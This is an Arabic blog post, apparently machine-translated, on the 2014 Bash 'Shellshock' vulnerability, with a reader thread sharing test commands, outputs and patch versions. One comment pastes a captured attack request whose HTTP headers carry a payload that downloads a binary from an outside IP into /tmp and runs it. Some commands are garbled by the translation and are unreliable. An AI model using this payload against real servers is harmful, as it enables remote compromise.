إنها تجري كالنار في الهشيم على بعض المدونات ، وهي قصة منشورة في مدونة الأمن de ريد هات حول ثغرة تم العثور عليها في Bash بسبب إساءة استخدام المتغيرات العالمية. حسب النبأ الأصلي:
"... الثغرة الأمنية ترجع إلى حقيقة أنه يمكن إنشاء متغيرات البيئة ذات القيم المصممة خصيصًا قبل استدعاء bash shell. يمكن أن تحتوي هذه المتغيرات على رمز يتم تنفيذه بمجرد استدعاء الصدفة. اسم هذه المتغيرات التفصيلية لا يهم ، فقط محتوياتها. نتيجة لذلك ، يتم الكشف عن هذه الثغرة الأمنية في العديد من السياقاتعلى سبيل المثال:
- أمر القوة يتم استخدامه في تكوينات sshd لتوفير إمكانات محدودة لتنفيذ الأوامر للمستخدمين البعيدين. يمكن استخدام هذا الخلل لتجنب ذلك وتوفير تنفيذ أوامر تعسفي. تستخدم بعض تطبيقات Git و Subversion مثل هذه الأصداف المقيدة. لا يتأثر الاستخدام المنتظم لـ OpenSSH لأن المستخدمين لديهم بالفعل حق الوصول إلى وحدة التحكم.
- يتأثر خادم Apache الذي يستخدم mod_cgi أو mod_cgid إذا كانت البرامج النصية CGI مكتوبة في كل من bash أو مستوى فرعي. يتم استخدام هذه المستويات الفرعية ضمنيًا بواسطة system / popen في C ، بواسطة os.system / os.popen في Python ، في حالة استخدام نظام / exec shell في PHP (عند التشغيل في وضع CGI) ، وفتح / نظام في Perl (الذي يعتمد على سلسلة الأوامر).
- لا تتأثر نصوص PHP التي يتم تنفيذها باستخدام mod_php حتى لو تم تشغيل المستويات الفرعية.
- يستدعي عملاء DHCP البرامج النصية لـ shell لتكوين النظام ، مع القيم المأخوذة من خادم يحتمل أن يكون ضارًا. سيسمح هذا بتنفيذ أوامر عشوائية ، عادةً كجذر ، على جهاز عميل DHCP.
- يمكن للعديد من البرامج والبرامج ذات الامتيازات SUID تنفيذ نصوص برمجية مع قيم متغيرة البيئة التي تم تعيينها / تأثرها بالمستخدم ، مما يسمح بتنفيذ أوامر عشوائية.
- أي تطبيق آخر يتم ربطه بصدفة أو يقوم بتشغيل برنامج نصي شل مثل استخدام bash كمترجم. برامج شل النصية التي لا تصدر متغيرات ليست عرضة لهذه المشكلة ، حتى لو كانت تعالج محتوى غير موثوق به وتخزنه في متغيرات shell (يسار) والمستويات الفرعية مفتوحة.
... "
كيف أعرف إذا تأثرت باش الخاص بي؟
بالنظر إلى هذا ، هناك طريقة بسيطة جدًا لمعرفة ما إذا كنا متأثرين بهذه الثغرة الأمنية. في الواقع ، لقد اختبرت على Antergos الخاص بي ويبدو أنه ليس لدي مشكلة. ما يتعين علينا القيام به هو فتح Terminal ووضع:
env x = '() {:؛}؛ صدى ضعيف 'bash -c "صدى هذا اختبار"
إذا خرج بهذه الطريقة ، فليس لدينا مشكلة:
env x = '() {:؛}؛ echo ضعيف 'bash -c "صدى هذا اختبار" bash: تحذير: x: تجاهل تعريف الوظيفة محاولة bash: خطأ في استيراد تعريف دالة لـ "x" هذا اختبار
إذا كانت النتيجة مختلفة ، فيجب عليك استخدام قنوات التحديث للتوزيعات المفضلة لدينا لمعرفة ما إذا كانوا قد قاموا بالفعل بتطبيق التصحيح. حتى تعرف 😉
تم التحديث: هذا هو الإخراج من زميل في العمل باستخدام Ubuntu 14:04:
env x = '() {:؛}؛ صدى ضعيف "bash -c" صدى هذا اختبار "ضعيف هذا اختبار
كما ترون ، فهي معرضة للخطر حتى الآن.
لدي Kubuntu 14.04 من 64 وأحصل أيضًا على:
env x = '() {:؛}؛ صدى ضعيف 'bash -c "صدى هذا اختبار"
الضعيفة
هذا اختبار
لقد قمت بالفعل بتحديث ، لكنه لا يصحح. ما العمل؟
انتظر منهم للتحديث. بالفعل eOS على سبيل المثال تحديثها .. 😀
كم هو غريب ، لدي أيضًا Kubuntu 14.04
$ env x = '() {:؛}؛ صدى ضعيف 'bash -c "صدى هذا اختبار"
bash: تحذير: x: تجاهل محاولة تعريف الوظيفة
bash: خطأ في استيراد تعريف دالة لـ "x"
هذا اختبار
أضيف أن إصدار حزمة "bash" الذي تم تنزيله اليوم هو:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
في حالتي ، عند إعطاء الأمر ، فإنه يعطيني ما يلي في Terminal:
>على أي حال ، النكتة هي أنني قمت بتحديث Debian Wheezy وهذا ما أفرغني.
لا يزال الأزيز عرضة للجزء الثاني من الخطأ ، على الأقل في فترة ما بعد الظهر (UTC -4: 30) كانت المشكلة لا تزال تتبع: /
لقد تحققت للتو من أنه بعد تطبيق التحديث هذا الصباح ، لم يتأثر Slackware ولا Debian ولا Centos لأنهم تلقوا تحديثًا مطابقًا.
ما الذي يجعل Ubuntu لا يزال ضعيفًا في هذه الساعة؟ وأخبرني أنها آمنة: د.
لكن هل حاولت تحديث Ubuntu؟
مع تحديث اليوم قاموا أيضًا بإصلاحه.
OK
يحذر خبراء الأمن من ثغرة 'Bash' ، فقد تشكل تهديدًا أكبر لمستخدمي برامج Linux من خطأ Heartbleed ، حيث يمكن للقراصنة استغلال خطأ في Bash للسيطرة الكاملة على النظام.
حذر تود بيردسلي ، مدير هندسي في شركة الأمن السيبراني Rapid7 ، من أن الخلل قد تم تصنيفه 10 نظرًا لخطورته ، مما يعني أنه يتمتع بأقصى تأثير ، وتم تصنيفه على أنه "منخفض" نظرًا لتعقيد الاستغلال ، مما يعني وهو أمر سهل نسبيًا بالنسبة لهجمات "القراصنة". باستخدام هذه الثغرة الأمنية ، يمكن للمهاجمين السيطرة على نظام التشغيل والوصول إلى المعلومات السرية وإجراء التغييرات وما إلى ذلك "، قال بيردسلي. وأضاف "أي شخص لديه أنظمة تشغل باش يجب أن يطبق التصحيح على الفور".
قبل هذا الضعف الذي يعرض الأداة القديمة (GNU) حيث يتم استضافة Bach ، سيكون من الأنسب لبرامج Linux التخلص من GNU والتغيير لأداة BSD.
ملاحظة: لا تشتم حريتي في التعبير ... لا تهين أحدا ... لا تحذف رسالتي مثل الرسالة السابقة التي تم حذفها!.
أوه من فضلك ، لا تطرف. كيف أكره أولئك الذين يستخدمون BSD ويحتقرون GNU أو Linux أو أي شيء يأتي من هذه المشاريع.
أنا معك وأنت محق تمامًا في خطورة هذه الحفرة.
لم تكن رقابة ، لقد كانت زائدة عن الحاجة (لقد قدمت نفس التعليق في منشور جنوم 3.14)
«... وتم تصنيفها على أنها" منخفضة "بسبب تعقيد الاستغلال ، مما يعني أنه سهل نسبيًا لهجمات القراصنة»
هل التناقض ملحوظ؟
كيف يمكن أن يكون من السهل استغلال الثغرة الأمنية وفي نفس الوقت يكون مستوى الخطر "منخفض" لأنه معقد للغاية للاستخدام؟
إنه خطأ تم حله في غضون ساعات من الاجتماع والذي ، مثله مثل الحبيب ، ليس لديه تقارير عن تعرضه للاستغلال (بالطبع ، هذا الشخص لديه وقت أقل للتعرف على بعضه البعض).
إنها صحافة شعبية أكثر من كونها مخاطرة حقيقية.
هل يبدوStaff غير مهم بالنسبة لك؟ ماذا ستقول لي الآن؟
الحصول على./.HTTP/1.0
وكيل المستخدم: شكراً روب
. ملف تعريف الارتباط: (). {.: ؛.} ؛. wget.-O./tmp/besh.http://162.253.66.76/nginx؛ .chmod.777. / tmp / besh؛ ./ tmp / besh؛
. المضيف: (). {.: ؛.} ؛. wget.-O./tmp/besh.http://162.253.66.76/nginx؛ .chmod.777. / tmp / besh؛ ./ tmp / besh؛
المرجع: (). {.:؛.}؛. wget.-O./tmp/besh.http://162.253.66.76/nginx؛ .chmod.777. / tmp / besh؛ ./ tmp / besh؛
.قبول:. * / *
ملف $ nginx
nginx: ELF 32-bit LSB القابل للتنفيذ ، Intel 80386 ، الإصدار 1 (SYSV) ، مرتبط بشكل ثابت ، لـ GNU / Linux 2.6.18 ، تم تجريده
md5sum $ nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
هل تعلم ما هو؟ لا شيء خطير ...
الوضع خطير للغاية ، ولكن من هناك للقول إنه يجب عليك التوقف عن استخدام bash لخيار BSD ، فهو موجود بالفعل على الأكثر ، على أي حال التحديث موجود بالفعل ، أنا فقط أتطرق إلى التحديث ولا شيء آخر.
الآن PD ، أعتقد أنه المزيد من الزملاءrobet ، لا أعتقد أن المسؤولين هنا مكرسين لحذف مثل هذه التعليقات لأن نعم ، لأنني منذ أن شاركت في هذا المجتمع كان لدي هذا الشعور وآمل أن يظل على هذا النحو.
تحية.
لقد وضعت نفس التعليق بالضبط على منشورين مختلفين. إذا كنت تحاول الترويج لـ "مصدر" القصة ، آسف ، هذا ليس المكان المناسب.
يأتي Bash من Unix (ونسخة GNU). تتأثر أيضًا الأنظمة القائمة على BSD مثل OSX ، ووفقًا لـ Genbeta ، لم يتم تصحيحها بعد. وبالمثل ، للوصول إلى Bash ، تحتاج إلى حساب مستخدم ، إما محلي أو عبر SSH.
@العاملين:
1.- يتم تصنيفها على أنها المستوى 10 (أقصى مستوى من الخطر) بسبب كمية الخدمات التي يمكن أن تتأثر بالخطأ. في الملاحظة الرئيسية ، أوضحوا هذه الحقيقة بوضوح ، بحجة أن الخطأ يمكن أن يؤثر على خدمات مثل apache و sshd والبرامج ذات أذونات suid (xorg ، من بين أمور أخرى).
2.- يتم تصنيفها على أنها منخفضة المستوى من الصعوبة ، عندما يتعلق الأمر بتنفيذها ، وأفضل مثال على ذلك هو نص اختبار الضعف الذي وضعهelav في المنشور. صعب التنفيذ ليس كذلك ، كما ترون.
لا أرى التكرار في المعلومات (لا أرى سوى ترجمة Google) وإذا كانت المشكلة خطيرة للغاية ، وكما تقول ، فهي تحتوي بالفعل على تصحيح وحل ، ولكن ليس من أجل ذلك ، فهي لم تعد مخاطرة ، وهي مشكلة حقيقية تمامًا .
تضمين التغريدة
لا تسيء تفسيري ، أعتقد أنه من الواضح أن انتقاداتي هي الأخبار التي يربطها Robet وتركز على التناقض وليس التكرار.
بالطريقة نفسها ، يجب أن نفرق بين الخطر والخطر (لا أذكر الأخير) ، فنحن نستخدمهما عادة كمرادفات ، ولكن هنا ، سيكون الخطر هو قدرة الضرر للخلل والمخاطرة باحتمالية حدوثه.
في حالتي الخاصة ، دخلت من أمس. لم يكن لقوائم بريدية أو أي شيء من هذا القبيل. كان لتوزيعة سطح المكتب! التقطت الهاتف وأرسلت رسالة إلى مسؤول النظام مع الرابط وأكدت أنه تم تصحيح كل شيء ، ثم أعذرني ولكن هذه الأخبار لا تجعلني مستيقظًا.
في منتديات أخرى يذكرون ثغرة Bash ، "الحل الذي أصدره Debian و Ubuntu" ، لكنهم اكتشفوا اليوم أن هناك ثغرة ما زالت موجودة ، لذا كان الحل غير مكتمل ، هذا ما ذكروه!
أرى أن الكثيرين انتقدوني بسبب الحقيقة البسيطة المتمثلة في منع الناس من شدة الضعف - مؤهلًا بمستوى 10 من أقصى درجات الخطورة ، وذكر الحلول الممكنة لبرامج Linux في مواجهة أداة GNU التي عفا عليها الزمن حيث يتم استضافة Bash - وهو أمر مثالي يمكن استبدال GNU بأداة BSD في برامج Linux ،… أنا أيضًا أستخدم Linux وأحب Linux!
أوضح أن Bash لا يتم تثبيته افتراضيًا في BSD ، إنها حزمة أخرى متوافقة مع Linux يمكن تثبيتها في BSD ... نعم! ويتم وضع المصدر حتى يتمكنوا من التحقق من الأخبار ، حيث أن العديد من المستخدمين في بعض الأحيان لا يصدقون الرسالة أو التعليق.
robet: كما أخبروك مرارًا وتكرارًا ، لقد قمت بالفعل بوضع تعليقك مع الأخبار في منشور ، ولا يتعين عليك وضعه في كل منشور تعلق عليه.
حول bash ، حيث توجد قذائف أخرى يمكن استخدامها في حالة تعرض Bash للخطر. 😉
Robet ، أعلم أنه لا يوجد برنامج يجمع بين نواة لينكس وأرض مستخدم BSD. أقرب شيء هو العكس ، kBSD + GNU ، مثل Gentoo و Debian. بالإضافة إلى ذلك ، لا يمكن تسمية جنو (1983) "الطراز القديم" إذا كانت بعد بي إس دي (1977). كلاهما يشتركان في جذر unix الخاص بهما (ولكن ليس الكود) ، فلن يكون هناك "توافق Linux" إذا تم إنشاء Bash عندما كان Linus T لا يزال طفلاً.
uff ، اختبار دبيان في هذا الوقت "ضعيف" يا له من خط لدينا ...
أنا أستخدم Debian Testing وحتى في هذا الفرع تلقينا تحديث bash
وفقًا لـ genbeta ، هناك أيضًا نقطة ضعف أخرى
http://seclists.org/oss-sec/2014/q3/685
الأمر للتشاور
env X = '() {(a) => \' sh -c "صدى ضعيف" ؛ bash -c "echo Failure 2 unpatched"
env X = '() {(a) => \' sh -c "صدى ضعيف" ؛ bash -c "echo Unpatched Failure 2" sh: X: line 1: خطأ نحوي بالقرب من عنصر غير متوقع "= 'sh: X: line 1:"' sh: خطأ في استيراد تعريف دالة لـ "X" sh : ضعيف: الأمر غير موجود. فشل 2 بدون ترقيعنفس الشيء لي.
كذلك هنا. ولكن تم تصحيح الخطأ الأصلي في المنشور في (L) Ubuntu 14.04
بدلاً من إجراء صدى بسيط في محاولة لجعله ينفذ تعليمة تتطلب امتيازات ، أرمي "امتيازات غير كافية" ... هذا الخطأ لا يؤدي إلى تصعيد الامتيازات؟ إذا لم يصعد الامتيازات ، فلن يكون خطيرًا كما يرسمونه.
أنت على حق!! لقد كانا نقطتي ضعف ...
بالنسبة لي في Linux Mint 17 بعد تحديث bash الثاني الذي قاموا بوضعه في مستودعات Ubuntu الليلة الماضية ، عند تنفيذ هذا الأمر ، تقدم shell هذا الإخراج:
env X = '() {(a) => \' sh -c "صدى ضعيف" ؛ bash -c "echo Fail 2 unpatched"
>
إصدار "bassh" الذي تم وضعه في مستودعات Ubuntu لتحديث المستودعات السابقة هو:
4.3-7ubuntu1.2
في الأنظمة المشتقة من دبيان ، يمكنك التحقق من الإصدار المثبت باستخدام هذا الأمر:
dpkg -s bash | إصدار grep
على أي حال ، يجب توضيح ذلك ، على الأقل لمستخدمي Debian و Ubuntu و Mint ؛ لا يجب أن تهتم كثيرًا بالبرامج التي تشغل البرامج النصية برأس #! / bin / sh لأنه في تلك التوزيعات / bin / sh لا يستدعي كلمة "bash" ، ولكنه يرتبط بالصدفة "dash" (الشرطة هي :)
وحدة التحكم Debian Alchemist (شرطة) هي وحدة تحكم POSIX مشتقة
من الرماد.
.
نظرًا لأنه ينفذ البرامج النصية بشكل أسرع من bash ، وله تبعيات أقل
من المكتبات (مما يجعلها أكثر قوة ضد فشل البرامج أو
الأجهزة) ، يتم استخدامه كوحدة تحكم النظام الافتراضية على الأنظمة
ديبيان.
لذلك ، على الأقل في Ubuntu ، يتم استخدام "bash" كصدفة لتسجيل دخول المستخدم (أيضًا للمستخدم الجذر). ولكن يمكن لأي مستخدم استخدام قشرة أخرى بشكل افتراضي لوحدات تحكم المستخدم والجذر (المحطات الطرفية).
من السهل التحقق من أن الصدفة تنفذ البرامج النصية (#! / Bin / sh) بتنفيذ هذه الأوامر:
ملف / بن / ش
(الإخراج هو / bin / sh: ارتباط رمزي بـ "dash") نتبع التتبع الذي نكرر الأمر
ملف / بن / اندفاعة
(الإخراج هو / bin / dash: كائن مشترك LSB 64 بت ELF ، x86-64 ، الإصدار 1 (SYSV) لذلك هذا هو الملف القابل للتنفيذ.
هذه هي النتائج على توزيعة Linux Mint 17. في التوزيعات الأخرى التي لا تعتمد على Ubuntu / Debian قد تكون مختلفة.
ليس من الصعب تغيير الغلاف الافتراضي !! يمكنك حتى استخدام واحد مختلف للمستخدمين وللمستخدم الجذر. في الواقع ، عليك فقط تثبيت الغلاف الذي تختاره وتغيير الإعداد الافتراضي باستخدام الأمر "chsh" أو عن طريق تحرير الملف / etc / passwd (على الرغم من أن المستخدمين الذين لا يعرفون عواقب الخطأ عند تحرير ملف "passwd" ، فهو من الأفضل أن يعلموا أنفسهم جيدًا وقبل تحريرها ، عمل نسخة من الأصل في حالة ضرورة استعادتها).
أشعر براحة أكبر مع "tcsh" (tcsh هو :)
وحدة تحكم TENEX C ، نسخة محسنة من Berkeley csh
"Csh" هو ما استخدمه Mac OS X قبل بضع سنوات. وهو أمر منطقي بالنظر إلى أن الكثير من نظام تشغيل Apple هو رمز FreeBSD. الآن مما قرأته بالأمس ، يبدو أنها توفر أيضًا "bash" لمحطات المستخدم.
الاستنتاجات:
- تم بالفعل توزيع إصدارات "bash" المصححة للتوزيعات الأكثر استخدامًا
- إصدار "bash" 4.3-7ubuntu1.2 والإصدارات الأحدث لا يحتوي على هذه الأخطاء
- لا يلزم استخدام "bash" في نظام التشغيل OS * Linux
- عدد قليل من * توزيعات Linux #! / Bin / sh بـ "bash"
- هناك بدائل: الرماد واندفاعة و csh و tcsh وغيرها
- ليس من المعقد تغيير الغلاف الافتراضي الذي يستدعيه النظام عند فتح محطة طرفية
- قليل من الأجهزة الصغيرة (الموجهات وغيرها) تستخدم "bash" لأنها كبيرة جدا !!
وصل الآن تحديث آخر يقوم بتثبيت إصدار آخر من "bash" 4.3-7ubuntu1.3
لنظامي Linux Mint 17 و Ubuntu 14.04.1 LTS
دخل ArchLinux الإصدار bash-4.3.026-1
@ Xurxo… .csh من بيركلي؟ ، ... أنت تفهم شيئًا مما أتحدث عنه أعلاه ، ومن الأفضل استخدام BSD “csh” ... بدلاً من أداة GNU القديمة حيث يتم استضافة Bash. هذه الأداة هي الأفضل لبرنامج Linux.
أعتقد أن هذا هو الخطأ
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
صحيح؟
وماذا سيكون الحل؟
انتظر حتى يقوموا بتحديث الحزمة على التوزيعة الخاصة بك 😉
تم تعميد الحشرة كصدمة
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
الضعيفة
هذا اختبار
لا يوجد تصحيح حتى الآن لـ Ubuntu Studio 14.04
تم إصلاحه في Ubuntu Studio 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:؛}؛ صدى ضعيف 'bash -c "صدى هذا اختبار"
bash: تحذير: x: تجاهل محاولة تعريف الوظيفة
bash: خطأ في استيراد تعريف دالة لـ "x"
هذا اختبار
في الواقع ، إنها نقطة ضعف بسيطة ، إذا كانت تؤثر عليك فهي أنك كنت تفعل شيئًا خاطئًا من قبل ...
لأن نص bash الذي يتم تشغيله بامتيازات الجذر يجب ألا يتعرض للمستخدم مطلقًا. وإذا ركض بدون امتيازات ، فلا توجد مثل هذه القابلية للنمو. في الواقع ، هذا سخيف. الكثير من التخويف.
هذا رأيي أيضا.
بالضبط ، لبيع المزيد من الصحف أو الحصول على المزيد من الزيارات ، هذه الأخطاء جيدة.
لكنهم نسوا دائمًا ذكر أنه من أجل اختراق جهاز كمبيوتر بهذا النوع من البرامج النصية ، يجب أن يكون لديك أولاً وصول إلى bash ثم الحصول عليه كجذر.
الموظفين إذا كنت تستخدم اباتشي مع cgi ، فقط أدخل رؤوس http كملفات تعريف الارتباط أو قم بإحالة الوظيفة التي تريد تنفيذها. حتى أنه تم استخدامه لنشر الديدان.
وإذا قام شخص ما بوضع قذيفة على خادم باستخدام wget mishell.php ، في هذه الحالة فهو ليس خطيرًا ، أليس كذلك؟
أتفق معك. اعتقدت أنها كانت حشرة ضخمة مثل تلك الموجودة في Heartbleed (حتى وكالة الأمن القومي قد قدمت نفسها لتغذية المرض) ، ولكن بعد كل شيء كان خطأ بسيطًا.
هناك أخطاء أخرى خطيرة حقًا مثل الاستهلاك المجنون لـ Flash وانخفاض الأداء في Pepper Flash Player ، والأخطاء التي تم إصلاحها بالفعل خطأ webRTC في Chrome و Firefox.
هل تعرف ما إذا كان يحتوي على ترتيب للأشخاص الذين لديهم Linux Mint 16؟
تم إصلاحه بالفعل في اختبار دبيان.
في توزيعاتي الخمسة تم حلها ، في نظام التشغيل الخاص بي لا أعرف.
من فضلك لا تفرض رقابة على تعليقي ، قلت OS X. لا أعرف ما إذا كان يمكنك قول OS X على هذا الموقع.
yoyo حسنًا ، لا تفزع كثيرًا لأنهم ما زالوا يعملون على بعض تفاصيل التصحيح ... جرب هذا ثم أخبرني ماذا عن XD
env x = '() {:؛}؛ صدى ضعيف 'bash -c "صدى أنا أكثر عرضة من iphone 6 trash
إذا قاموا بحلها بنسبة 100٪ قبل OS X أراهن بأي شيء
حسنًا ، حتى في Ars Technica ، فإنهم يعطون أهمية لـ Bash في OSX.
@ يويو التعليق التالي على OS X للرسائل الاقتحامية .. lla tu save .. 😛
yoyo هناك لإصلاح الاقتباسات ... لكن الباقي تعرف 😉
لقد تحدث إف إس إف
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
كما لو أنهم أصبحوا يتعاملون مع OSX (لأن OSX لا يزال يستخدم Bash: v).
على أي حال ، لست مضطرًا للعبث مع ديبيان جيسي كثيرًا.
إذا كان النظام ضعيفًا في Cent OS:
yum clean all && yum update bash
لمشاهدة نسخة bash:
rpm -qa | جريب باش
إذا كان الإصدار أقدم من bash-4.1.2-15.el6_5.1 ، فقد يكون نظامك عرضة للخطر!
تحية.
الثغرة الثانية لم يتم حلها بعد
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable" ؛ bash -c "echo Failure 2 unpatched"
جارٍ التحديث ...
يحدث العكس لي في Gentoo ، فأنا فقط عرضة للفشل الأول ولكن مع الفشل الثاني أحصل على هذا:
[كود] sh: X: سطر 1: خطأ نحوي بالقرب من عنصر غير متوقع "="
sh: X: السطر 1: "
sh: خطأ في استيراد تعريف دالة لـ "X"
sh: ضعيف: الأمر غير موجود
علة 2 غير مصححة
[/ الرمز]
لا أعرف ما إذا كان سيكون هناك بالفعل إصدار ثابت من Bash مع إصلاح الأخطاء ، ولكن في كلتا الحالتين ، سيكون الأمر معلقًا في المرة القادمة التي أقوم فيها بظهور - المزامنة && الظهور - التحديث - deep –with-bdeps = and –newuseworld (هذه هي الطريقة الخطوة الأولى تحديث النظام بأكمله).
لدي Gentoo مع الإصدار 4.2_p50 وقد اجتاز حتى الآن جميع الاختبارات. جرب ظهور –sync ثم اظهر -av1 app-shells / bash ، ثم تحقق من أن لديك الإصدار 4.2_p50 باستخدام الأمر bash –version.
هل جربت هذا؟
ومع الباقات الجديدة ، اختبار جديد تقدمه لنا ريد هات
مؤتمر نزع السلاح / tmp ؛ rm -f / tmp / صدى ؛ env 'x = () {(a) => \' bash -c "echo date" ؛ القط / tmp / صدى
إذا لم يكن نظامنا ضعيفًا وتم تصحيحه بشكل صحيح ، فيجب أن يعطينا شيئًا كهذا
تاريخ 1
2 cat: / tmp / echo: الملف أو الدليل غير موجود
جرب بهذه الطريقة:
env X = '() {(a) => \' sh -c "صدى ضعيف" ؛ bash -c "echo Failure 2 Patched"
انا حصلت
الضعيفة
علة 2 مصححة.
ننسى ذلك ، الخط منسق بشكل سيئ.
ممتاز! لقد أجريت بالفعل التحديث على Slackware الخاص بي ، شكرًا!
مرحبًا ، يطرح سؤال ، لدي عدة خوادم مع "SUSE Linux Enterprise Server 10" 64 بت.
عندما أقوم بتنفيذ الأوامر ، أكون عرضة للخطر ، فأنا أكثر عرضة للخطر من سلة المهملات iPhone 6 xD
إذا لم أكن مخطئًا في تحديث / تثبيت الحزم في SUSE ، يتم ذلك باستخدام الأمر «zypper».
في بعض الخوادم يخبرني هذا:
بيال: ~ # zypper up
-باش: zypper: الأمر غير موجود
بيال: ~ #
وفي حالات أخرى:
SMB: ~ # zypper حتى
استعادة مصادر النظام ...
تحليل البيانات الوصفية لـ SUSE Linux Enterprise Server 10 SP2-20100319-161944 ...
جاري تحليل قاعدة بيانات RPM ...
ملخص:
لا شيء لأفعله.
ما أفعله؟
أعلم أن البعض يقول إن الضعف أقل مما يرسمونه ولكن لديّ ذلك ولا أريد أن أتعرض للمخاطر ، سواء كانت صغيرة أو كبيرة.
تحية.
مساء الخير ، لقد حاولت لصق الكود الذي قدمته في المقال ، فهمت هذا
ساندرز @ pc-sanders: ~ $ env x = '() {:؛}؛ صدى ضعيف 'bash -c "صدى هذا اختبار"
هذا اختبار
ساندرز @ pc-sanders: ~ $
هل تسمح لي من فضلك بشرح كيفية تصحيح التوزيعة ، أقوم بالتحديث يوميًا ولا أرى أي تغييرات في الإخراج الفوري.
شكرا جزيلا لك!